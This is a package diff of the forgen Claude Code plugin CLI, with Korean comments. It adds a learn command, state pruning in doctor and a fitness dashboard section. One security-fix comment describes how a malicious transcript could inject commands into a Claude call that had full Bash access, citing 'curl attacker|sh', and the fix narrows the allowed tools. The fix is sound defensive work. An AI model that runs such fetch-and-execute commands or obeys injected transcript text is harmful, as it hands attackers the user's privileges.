## Novelty Gate — Self-critique
|
|
108
|
+
|
|
109
|
+
제출 전 각 후보에 대해 다음 질문에 답하세요:
|
|
110
|
+
|
|
111
|
+
- 기존 champion 중 tag overlap 50% 이상인 솔루션이 있다면, 이 후보의 **Rule**이 그 champion의 Rule과 **다른 조언**을 하는가? (Yes가 아니면 탈락)
|
|
112
|
+
- 이 후보가 맞출 weakness 타깃이 report에 명시되어 있는가? (없으면 탈락 — 근거 없는 제안 거부)
|
|
113
|
+
- 본문이 1200자를 초과하는가? (초과면 요약)
|
|
114
|
+
|
|
115
|
+
</Agent_Prompt>
|
package/dist/cli.js
CHANGED
|
@@ -79,6 +79,14 @@ const commands = [
|
|
|
79
79
|
await handleDashboard();
|
|
80
80
|
},
|
|
81
81
|
},
|
|
82
|
+
{
|
|
83
|
+
name: 'learn',
|
|
84
|
+
description: 'Solution maintenance: fix-up | quarantine | fitness',
|
|
85
|
+
handler: async (args) => {
|
|
86
|
+
const { handleLearn } = await import('./engine/learn-cli.js');
|
|
87
|
+
await handleLearn(args);
|
|
88
|
+
},
|
|
89
|
+
},
|
|
82
90
|
{
|
|
83
91
|
name: 'me',
|
|
84
92
|
description: 'Personal dashboard (→ inspect profile)',
|
|
@@ -151,10 +159,10 @@ const commands = [
|
|
|
151
159
|
},
|
|
152
160
|
{
|
|
153
161
|
name: 'doctor',
|
|
154
|
-
description: 'Diagnostics',
|
|
155
|
-
handler: async (
|
|
162
|
+
description: 'Diagnostics (--prune-state to GC stale session files)',
|
|
163
|
+
handler: async (args) => {
|
|
156
164
|
const { runDoctor } = await import('./core/doctor.js');
|
|
157
|
-
await runDoctor();
|
|
165
|
+
await runDoctor({ pruneState: args.includes('--prune-state') });
|
|
158
166
|
},
|
|
159
167
|
},
|
|
160
168
|
// install --plugin 제거됨 — postinstall이 유일한 설치 경로
|
|
@@ -279,10 +279,13 @@ try {
|
|
|
279
279
|
---
|
|
280
280
|
${sanitizedSummary.slice(0, 6000)}
|
|
281
281
|
---`;
|
|
282
|
+
// P1-S1 fix (2026-04-20): 과거에는 `--allowedTools Bash`로 전체 Bash 권한을 줘서
|
|
283
|
+
// 악성 transcript(공급망 인젝션)가 filter를 우회해 `curl attacker|sh` 같은 명령을
|
|
284
|
+
// 피해자 권한으로 실행시킬 수 있었다. 이제 `Bash(forgen compound:*)`로 좁혀 Claude
|
|
285
|
+
// 가 compound 추출용 forgen CLI 호출만 가능하게 한다. filter-bypass 시에도 임의
|
|
286
|
+
// 명령 실행 차단.
|
|
282
287
|
try {
|
|
283
|
-
execClaudeRetry(['-p', solutionPrompt, '--allowedTools', 'Bash', '--model', COMPOUND_MODEL], {
|
|
284
|
-
cwd, timeout: 90_000, stdio: ['pipe', 'ignore', 'pipe'],
|
|
285
|
-
});
|
|
288
|
+
execClaudeRetry(['-p', solutionPrompt, '--allowedTools', 'Bash(forgen compound:*)', '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, stdio: ['pipe', 'ignore', 'pipe'] });
|
|
286
289
|
}
|
|
287
290
|
catch (e) {
|
|
288
291
|
process.stderr.write(`[forgen-auto-compound] solution extraction: ${e instanceof Error ? e.message : String(e)}\n`);
|
package/dist/core/dashboard.js
CHANGED
|
@@ -13,7 +13,14 @@
|
|
|
13
13
|
*/
|
|
14
14
|
import * as fs from 'node:fs';
|
|
15
15
|
import * as path from 'node:path';
|
|
16
|
-
import {
|
|
16
|
+
import { createRequire } from 'node:module';
|
|
17
|
+
// P0-1 fix (2026-04-20): ESM `"type": "module"` 프로젝트에서 `require`가 글로벌에
|
|
18
|
+
// 없어 이전에는 renderFitnessSummary 안의 `require('../engine/solution-fitness.js')`가
|
|
19
|
+
// 항상 ReferenceError로 catch 경로에 떨어져 Solution Fitness 대시보드 섹션이
|
|
20
|
+
// 조용히 무효화됐다 (정상처럼 "아직 outcome 이벤트 데이터 없음" 출력).
|
|
21
|
+
// createRequire로 CJS require를 ESM 환경에 부트스트랩 — session-store.ts 패턴 동일.
|
|
22
|
+
const require = createRequire(import.meta.url);
|
|
23
|
+
import { ME_SOLUTIONS, ME_RULES, ME_BEHAVIOR, STATE_DIR, } from './paths.js';
|
|
17
24
|
import { parseFrontmatterOnly } from '../engine/solution-format.js';
|
|
18
25
|
import { readMatchEvalLog } from '../engine/match-eval-log.js';
|
|
19
26
|
// ── ANSI color helpers ──
|
|
@@ -361,11 +368,11 @@ export function collectLearningCurve() {
|
|
|
361
368
|
const axisCounts = new Map();
|
|
362
369
|
const uniqueDays = new Set();
|
|
363
370
|
try {
|
|
364
|
-
if (fs.existsSync(
|
|
365
|
-
const files = fs.readdirSync(
|
|
371
|
+
if (fs.existsSync(ME_BEHAVIOR)) {
|
|
372
|
+
const files = fs.readdirSync(ME_BEHAVIOR).filter(f => f.endsWith('.json'));
|
|
366
373
|
for (const f of files) {
|
|
367
374
|
try {
|
|
368
|
-
const data = JSON.parse(fs.readFileSync(path.join(
|
|
375
|
+
const data = JSON.parse(fs.readFileSync(path.join(ME_BEHAVIOR, f), 'utf-8'));
|
|
369
376
|
if (!data.timestamp)
|
|
370
377
|
continue;
|
|
371
378
|
const ts = new Date(data.timestamp).getTime();
|
|
@@ -457,6 +464,50 @@ function renderLearningCurve(data) {
|
|
|
457
464
|
` ${dim('※ compound가 힌트를 제공한 매 1회당 평균 8분 절약 가정')}`,
|
|
458
465
|
].join('\n');
|
|
459
466
|
}
|
|
467
|
+
function renderFitnessSummary() {
|
|
468
|
+
// Lazy import: keep dashboard startup cheap if outcomes are absent.
|
|
469
|
+
let summary;
|
|
470
|
+
try {
|
|
471
|
+
const { computeFitness } = require('../engine/solution-fitness.js');
|
|
472
|
+
const records = computeFitness();
|
|
473
|
+
summary = {
|
|
474
|
+
total: records.length,
|
|
475
|
+
champion: records.filter((r) => r.state === 'champion').length,
|
|
476
|
+
active: records.filter((r) => r.state === 'active').length,
|
|
477
|
+
underperform: records.filter((r) => r.state === 'underperform').length,
|
|
478
|
+
draft: records.filter((r) => r.state === 'draft').length,
|
|
479
|
+
top: records.slice(0, 3).map((r) => ({ name: r.solution, fitness: r.fitness, state: r.state })),
|
|
480
|
+
};
|
|
481
|
+
}
|
|
482
|
+
catch {
|
|
483
|
+
summary = { total: 0, champion: 0, active: 0, underperform: 0, draft: 0, top: [] };
|
|
484
|
+
}
|
|
485
|
+
if (summary.total === 0) {
|
|
486
|
+
return [
|
|
487
|
+
` ${bold('🎯 Solution Fitness / 솔루션 적합도')}`,
|
|
488
|
+
``,
|
|
489
|
+
` ${dim('아직 outcome 이벤트 데이터 없음.')}`,
|
|
490
|
+
` ${dim('솔루션 주입이 누적되면 자동으로 채워집니다.')}`,
|
|
491
|
+
].join('\n');
|
|
492
|
+
}
|
|
493
|
+
const topLines = summary.top.length > 0
|
|
494
|
+
? summary.top.map((t) => {
|
|
495
|
+
const icon = t.state === 'champion' ? green('●') : t.state === 'underperform' ? red('●') : cyan('●');
|
|
496
|
+
return ` ${icon} ${t.name.slice(0, 44).padEnd(44)} ${t.fitness.toFixed(2)} (${t.state})`;
|
|
497
|
+
}).join('\n')
|
|
498
|
+
: ` ${dim('(top 3 없음)')}`;
|
|
499
|
+
return [
|
|
500
|
+
` ${bold('🎯 Solution Fitness / 솔루션 적합도')}`,
|
|
501
|
+
``,
|
|
502
|
+
` 상태 분포 (총 ${summary.total}개):`,
|
|
503
|
+
` ${green('champion')}: ${summary.champion} ${cyan('active')}: ${summary.active} ${red('underperform')}: ${summary.underperform} ${dim('draft')}: ${summary.draft}`,
|
|
504
|
+
``,
|
|
505
|
+
` Top 3 by fitness:`,
|
|
506
|
+
topLines,
|
|
507
|
+
``,
|
|
508
|
+
` ${dim('상세: forgen learn fitness')}`,
|
|
509
|
+
].join('\n');
|
|
510
|
+
}
|
|
460
511
|
export function renderDashboard() {
|
|
461
512
|
const knowledge = collectKnowledgeOverview();
|
|
462
513
|
const injection = collectInjectionActivity();
|
|
@@ -474,6 +525,8 @@ export function renderDashboard() {
|
|
|
474
525
|
'',
|
|
475
526
|
renderLearningCurve(learning),
|
|
476
527
|
divider,
|
|
528
|
+
renderFitnessSummary(),
|
|
529
|
+
divider,
|
|
477
530
|
renderKnowledgeOverview(knowledge),
|
|
478
531
|
divider,
|
|
479
532
|
renderInjectionActivity(injection),
|
package/dist/core/doctor.d.ts
CHANGED
|
@@ -1 +1,6 @@
|
|
|
1
|
-
export
|
|
1
|
+
export interface DoctorOptions {
|
|
2
|
+
/** When true, delete stale session-scoped state files instead of just
|
|
3
|
+
* reporting bloat. Triggered by `forgen doctor --prune-state`. */
|
|
4
|
+
pruneState?: boolean;
|
|
5
|
+
}
|
|
6
|
+
export declare function runDoctor(opts?: DoctorOptions): Promise<void>;
|
package/dist/core/doctor.js
CHANGED
|
@@ -4,6 +4,7 @@ import * as path from 'node:path';
|
|
|
4
4
|
import { execFileSync } from 'node:child_process';
|
|
5
5
|
import { FORGEN_HOME, LAB_DIR, ME_BEHAVIOR, ME_DIR, ME_PHILOSOPHY, ME_SOLUTIONS, ME_RULES, ME_SKILLS, PACKS_DIR, SESSIONS_DIR, STATE_DIR } from './paths.js';
|
|
6
6
|
import { getTimingStats } from '../hooks/shared/hook-timing.js';
|
|
7
|
+
import { countSessionScopedFiles, pruneState } from './state-gc.js';
|
|
7
8
|
/** ~/.claude/projects/ — Claude Code 세션 저장 경로 */
|
|
8
9
|
const CLAUDE_PROJECTS_DIR = path.join(os.homedir(), '.claude', 'projects');
|
|
9
10
|
function check(label, condition, hint) {
|
|
@@ -24,7 +25,7 @@ function commandExists(cmd) {
|
|
|
24
25
|
return false;
|
|
25
26
|
}
|
|
26
27
|
}
|
|
27
|
-
export async function runDoctor() {
|
|
28
|
+
export async function runDoctor(opts = {}) {
|
|
28
29
|
console.log('\n Forgen — Diagnostics\n');
|
|
29
30
|
console.log(' [Tools]');
|
|
30
31
|
check('claude CLI', commandExists('claude'));
|
|
@@ -305,6 +306,25 @@ export async function runDoctor() {
|
|
|
305
306
|
}
|
|
306
307
|
console.log();
|
|
307
308
|
}
|
|
309
|
+
// State bloat check — session-scoped files accumulate until pruned.
|
|
310
|
+
console.log(' [State Hygiene]');
|
|
311
|
+
const sessionFiles = countSessionScopedFiles();
|
|
312
|
+
if (sessionFiles === 0) {
|
|
313
|
+
console.log(' ✓ no session-scoped state files');
|
|
314
|
+
}
|
|
315
|
+
else if (sessionFiles < 500) {
|
|
316
|
+
console.log(` ✓ ${sessionFiles} session-scoped files (under threshold)`);
|
|
317
|
+
}
|
|
318
|
+
else {
|
|
319
|
+
console.log(` ⚠ ${sessionFiles} session-scoped files (bloat threshold 500)`);
|
|
320
|
+
console.log(' Run: forgen doctor --prune-state (removes files older than 7 days)');
|
|
321
|
+
}
|
|
322
|
+
if (opts.pruneState) {
|
|
323
|
+
const report = pruneState({ dryRun: false });
|
|
324
|
+
const mb = (report.bytesFreed / 1024 / 1024).toFixed(2);
|
|
325
|
+
console.log(` → Pruned ${report.pruned}/${report.scanned} files (${mb} MB freed, >${report.retentionDays}d old)`);
|
|
326
|
+
}
|
|
327
|
+
console.log();
|
|
308
328
|
// 현재 디렉토리 git 정보
|
|
309
329
|
console.log(' [Git]');
|
|
310
330
|
try {
|
|
@@ -37,7 +37,7 @@ export interface GlobalConfig {
|
|
|
37
37
|
/** 레거시 마이그레이션 백업 경로 */
|
|
38
38
|
legacy_backup?: string;
|
|
39
39
|
}
|
|
40
|
-
/**
|
|
40
|
+
/** 글로벌 config 로드 (~/.forgen/config.json) */
|
|
41
41
|
export declare function loadGlobalConfig(): GlobalConfig;
|
|
42
|
-
/**
|
|
42
|
+
/** 글로벌 config 저장 (~/.forgen/config.json) */
|
|
43
43
|
export declare function saveGlobalConfig(config: GlobalConfig): void;
|